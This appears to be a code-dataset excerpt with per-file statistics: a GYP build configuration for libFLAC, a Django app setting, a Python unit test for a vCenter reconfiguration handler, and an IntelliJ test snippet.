'defines!': [
'WIN32_LEAN_AND_MEAN', # win_utf8_io.c defines this itself.
],
'msvs_settings': {
'VCCLCompilerTool': {
'AdditionalOptions': [
'/wd4334', # 32-bit shift converted to 64 bits.
'/wd4267', # Converting from size_t to unsigned on 64-bit.
],
},
},
}, {
'defines': [
'HAVE_INTTYPES_H',
],
}],
],
'include_dirs': [
'include',
'src/libFLAC/include',
],
'direct_dependent_settings': {
'defines': [
'FLAC__NO_DLL',
],
},
'variables': {
'clang_warning_flags': [
# libflac converts between FLAC__StreamDecoderState and
# FLAC__StreamDecoderInitStatus a lot in stream_decoder.c.
'-Wno-conversion',
# libflac contains constants that are only used in certain
# compile-time cases, which triggers unused-const-variable warnings in
# other cases.
'-Wno-unused-const-variable',
],
},
},
],
}
# Local Variables:
# tab-width:2
# indent-tabs-mode:nil
# End:
# vim: set expandtab tabstop=2 shiftwidth=2:
| 32.225 | 80 | 0.561934 | 432 | 3,867 | 4.916667 | 0.351852 | 0.1742 | 0.168079 | 0.161017 | 0.285782 | 0.066855 | 0.035782 | 0 | 0 | 0 | 0 | 0.011641 | 0.289113 | 3,867 | 119 | 81 | 32.495798 | 0.761004 | 0.161107 | 0 | 0.173077 | 0 | 0 | 0.581345 | 0.411218 | 0 | 0 | 0 | 0 | 0.009615 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
cec43899df117ef57bff57adc14ca7eddb024c37 | 50 | py | Python | example_site/address/__init__.py | gnipp/django-address | 7d4e36afd916a2ce64b4436843ac6fdf2357f00a | [
"BSD-3-Clause"
] | null | null | null | example_site/address/__init__.py | gnipp/django-address | 7d4e36afd916a2ce64b4436843ac6fdf2357f00a | [
"BSD-3-Clause"
] | null | null | null | example_site/address/__init__.py | gnipp/django-address | 7d4e36afd916a2ce64b4436843ac6fdf2357f00a | [
"BSD-3-Clause"
] | null | null | null | default_app_config = "address.apps.AddressConfig"
| 25 | 49 | 0.84 | 6 | 50 | 6.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.06 | 50 | 1 | 50 | 50 | 0.851064 | 0 | 0 | 0 | 0 | 0 | 0.52 | 0.52 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
cecb1f2e07f4a56ef7fa1ee995658f40b254674d | 417 | py | Python | tests/unit/handlers/test_vm_reconfigured_handler.py | atsgen/tf-vcenter-manager | 2cfa07f038b86b3087842c34abb96b15da0b36fb | [
"Apache-2.0"
] | 1 | 2022-03-13T06:31:40.000Z | 2022-03-13T06:31:40.000Z | tests/unit/handlers/test_vm_reconfigured_handler.py | atsgen/tf-vcenter-manager | 2cfa07f038b86b3087842c34abb96b15da0b36fb | [
"Apache-2.0"
] | null | null | null | tests/unit/handlers/test_vm_reconfigured_handler.py | atsgen/tf-vcenter-manager | 2cfa07f038b86b3087842c34abb96b15da0b36fb | [
"Apache-2.0"
] | 1 | 2020-08-25T12:46:12.000Z | 2020-08-25T12:46:12.000Z | def test_vm_reconfigured(controller, vm_service, vn_service, vmi_service, vrouter_port_service,
vm_reconfigured_update):
controller.handle_update(vm_reconfigured_update)
vm_service.update_vm_models_interfaces.assert_called_once()
vn_service.update_vns.assert_called_once()
vmi_service.update_vmis.assert_called_once()
vrouter_port_service.sync_ports.assert_called_once()
| 46.333333 | 95 | 0.796163 | 54 | 417 | 5.574074 | 0.388889 | 0.159468 | 0.212625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.139089 | 417 | 8 | 96 | 52.125 | 0.83844 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.571429 | 1 | 0.142857 | false | 0 | 0 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
0c688956c9b78284ce09e45b40f9d1042854530a | 57 | py | Python | python/testData/intentions/PyConvertCollectionLiteralIntentionTest/convertLiteralPreservesFormattingAndComments.py | jnthn/intellij-community | 8fa7c8a3ace62400c838e0d5926a7be106aa8557 | [
"Apache-2.0"
] | 2 | 2019-04-28T07:48:50.000Z | 2020-12-11T14:18:08.000Z | python/testData/intentions/PyConvertCollectionLiteralIntentionTest/convertLiteralPreservesFormattingAndComments.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 173 | 2018-07-05T13:59:39.000Z | 2018-08-09T01:12:03.000Z | python/testData/intentions/PyConvertCollectionLiteralIntentionTest/convertLiteralPreservesFormattingAndComments.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 2 | 2020-03-15T08:57:37.000Z | 2020-04-07T04:48:14.000Z | xs = (<caret>
1, 2, # comment 1
3 # comment 2
) | 14.25 | 22 | 0.45614 | 9 | 57 | 2.888889 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 0.385965 | 57 | 4 | 23 | 14.25 | 0.6 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.